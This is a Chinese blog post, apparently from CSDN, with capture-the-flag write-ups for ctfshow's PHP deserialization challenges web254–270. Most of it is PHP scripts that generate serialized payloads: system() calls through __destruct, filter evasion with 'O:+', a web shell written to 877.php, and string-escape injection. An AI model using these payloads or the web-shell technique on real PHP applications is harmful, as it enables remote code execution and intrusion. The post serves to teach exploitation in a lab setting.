ctfshow-web入门-反序列化

文章讨论了PHP中的魔术方法如__sleep__,__wakeup__,__construct__,__destruct__,__toString__,__call__,__callStatic__,__get__,__invoke等在对象操作中的作用。重点讲解了如何利用这些魔术方法进行序列化和反序列化的控制,以及如何通过构造特定payload绕过过滤,实现代码执行(RCE)。
摘要由CSDN通过智能技术生成

  1. __sleep() ://在对象被序列化之前运行
  2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
  3. 如果类中同时定义了 __unserialize() 和__wakeup() 两个魔术方法, 则只有__unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
  4. __construct() :当对象被创建时,会触发进行初始化
  5. __destruct() :对象被销毁时触发
  6. __toString(): 当一个对象被当作字符串使用时触发
  7. __call() :在对象上下文中调用不可访问的方法时触发
  8. __callStatic() :在静态上下文中调用不可访问的方法时触发
  9. __get() :获得一个类的成员变量时调用,用于从不可访问的
  10. __invoke() :将对象当作函数来使用时执行此方法

web254

分析代码可知,当username和password都等于‘xxxxxx’时,isVip返回ture,就成功了

web255

分析代码可以知道我们需要传入password和username,并且会获取user的cookie值并进行反序列化

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));

运行这段代码,得到user的值

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

将user进行cookie传入,并且get传入username和password,username和password都等于xxxxxx,

web256

分析代码和上一题相比多了一个限制,username和password不能相等

所以我们构造代码时修改一下就可以

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='a';
    public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));

运行之后得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

将user用cookie传入,get传入username和password,username=xxxxxx,password=a

web257

分析代码,如果我们想得到flag,就需要利用backDoor中的getInfo()函数,触发getInfo()的在ctfShowUser这个类中,所以我们可以利用__destruct函数来触发创建对象时类的getInfo()函数,通过ctfShowUser的__construct魔术方法来创建backdoor对象

<?php
class ctfShowUser{
    private $username='xxxxxx';
	private $password='xxxxxx';
	private $class='backdoor';
	public function __construct(){
	    $this->class=new backdoor();
	}
	public function __destruct(){
	    $this->class->getInfo();
	}
}
class backDoor{
    public $code="system('ls');";
	public function getInfo(){
	    eval($this->code);
	}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>

运行结果

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

将其cookie传入,并将username和password get传入后出现

将上面执行命令的code的值改为tac flag.php

<?php
class ctfShowUser{
    private $username='xxxxxx';
	private $password='xxxxxx';
	private $class='backdoor';
	public function __construct(){
	    $this->class=new backdoor();
	}
	public function __destruct(){
	    $this->class->getInfo();
	}
}
class backDoor{
    public $code="system('tac flag.php');";
	public function getInfo(){
	    eval($this->code);
	}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>

得到结果后再次传入就得到flag了

web258

解题思路和上一题基本相似,但是多了一个过滤,不能匹配到o:后边的数字,可以使用加号绕过

正则过滤[oc]是匹配o字符或c字符,\d匹配一个数字字符,等价于[0-9],+是匹配前面\d的一次或多次。

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='aaa';
    public $password='bbb';
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo PHP_EOL;
echo urlencode($b);
?>

运行得到

O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A33%3A%22system%28%27tac+flag.php+index.php%27%29%3B%22%3B%7D%7D

传入就可以了

web259

web260

分析可知接受一个ctfshow的参数并序列化,只要序列化后还有ctfshow_i_love_36D

就返回flag

?ctfshow=ctfshow_i_love_36D

web261

如果类中同时定义了 __unserialize() 和__wakeup() 两个魔术方法, 则只有__unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以这里不用管__wakeup,这里的code=0x36d,是弱比较,36d是十六进制,转换为十进制就是877,这里code是在__unserialize函数触发的时侯被username和password拼接起来的,所以只要username=877.php,password=shell就可以了。

<?php

class ctfshowvip
{
    public $username;
    public $password;

    public function __construct()
    {
        $this->username = '877.php';
        $this->password = '<?php eval($_REQUEST[cmd]);?>';
    }
}
$a = new ctfshowvip();
echo serialize($a);
?>

运行后得到:

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_REQUEST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D

然后访问877.php进行RCE

web262

我们需要使token的值为admin

<?php
class message{
    public $token;
    public function __construct(){
        $this->token='admin';
    }
}

$a=new message();
echo serialize($a).PHP_EOL;
#得到token=admin的序列化结果

运行后得到

O:7:"message":1:{s:5:"token";s:5:"admin";}

我们只需要后半部分:{s:5:"token";s:5:"admin";},但是需要前面闭合的{,而且需要加“;来闭合前面的序列化字符串,所以:

";s:5:"token";s:5:"admin";}

然后按照题目的序列化,让to等于我们得到的值,然后运行一遍看看结果

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

观察运行结果

这里的s表示的值是28,但是遇到了字符3就闭合了,多出来的27个字符正好是我们构造的序列化字符串";s:5:"token";s:5:"admin";}

如果直接传入,那么在反序列化的时候就会错误,所以我们要想办法造出来多出来的27个字符,题目中有$umsg = str_replace('fuck', 'loveU', serialize($msg));会在序列化之后生成的字符串中fuck替换为loveU,所以我们构造payload的时候构造27个fuck就会替换多出来的27个字母,从而实现字符串逃逸,

//生成27个fuck
<?php
$a=1;
for($a=1;$a<=27;$a++){
  echo 'fuck';
}
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php得到flag

web263

web264

这道题基本和web262基本一样,就是需要我们手动设置一下名为msgsession,payload照抄就可以了

设置msgsession,值随意

?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

get传参,然后访问message.php

web265

通过代码审计,我们需要传入ctfshow这个参数,使他反序列化之后token与password完全相等

但是传入之后token被重新赋值,等于一个md5加密之后的随机数,所以我们就得考虑一下如何让$this->password===$this->token

我们可以在PHP中变量的引用&

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token='Leaf';
        $this->password = &$this->token;
    }
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));

运行后得到

O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A4%3A%22Leaf%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

get传参就得到flag

web266

我们需要构造反序列化ctfshow这个类的exp,但是存在正则匹配preg_match,如果我们传入ctfshow这个字符串就会抛出异常,抛出异常也就意味着这个程序没有被正常执行完毕,所以也就不会执行__destruct()魔术方法

但是可以看到这个正则匹配并没有增加/i也就是区分大小写,可以利用PHP对大小写不敏感的PHP特性来进行绕过,利用这一点,我们只需要让该类正常销毁即可

PHP特性

  • 变量名区分大小写
  • 常量名区分大小写
  • 数组索引 (键名) 区分大小写
  • 函数名, 方法名, 类名不区分大小写
  • 魔术常量不区分大小写 (以双下划线开头和结尾的常量)
  • NULL TRUE FALSE 不区分大小写
  • 强制类型转换不区分大小写 (在变量前面加上 (type))

所以可以利用PHP对类名不区分大小写的特性来构造exp

<?php
class Ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
$a = new Ctfshow();
echo serialize($a);

运行后得到:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

burp抓包然后将得到的payload放进去,$cs的接受方式是php://input,所以我们要把序列化字符串放到body体

web267

进入到登录界面,然后弱口令admin/admin进入到后台

查看about界面源代码,可以看到hint:view-source

构造payload:

?r=site%2Fabout&view-source

看到回显,发现注入点

访问shell.php,可以看到phpinfo()回显

进行RCE,得到flag

web268

和上一题做法一样,但是有过滤,所以需要POST传参

web269

同268

web270

同268

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值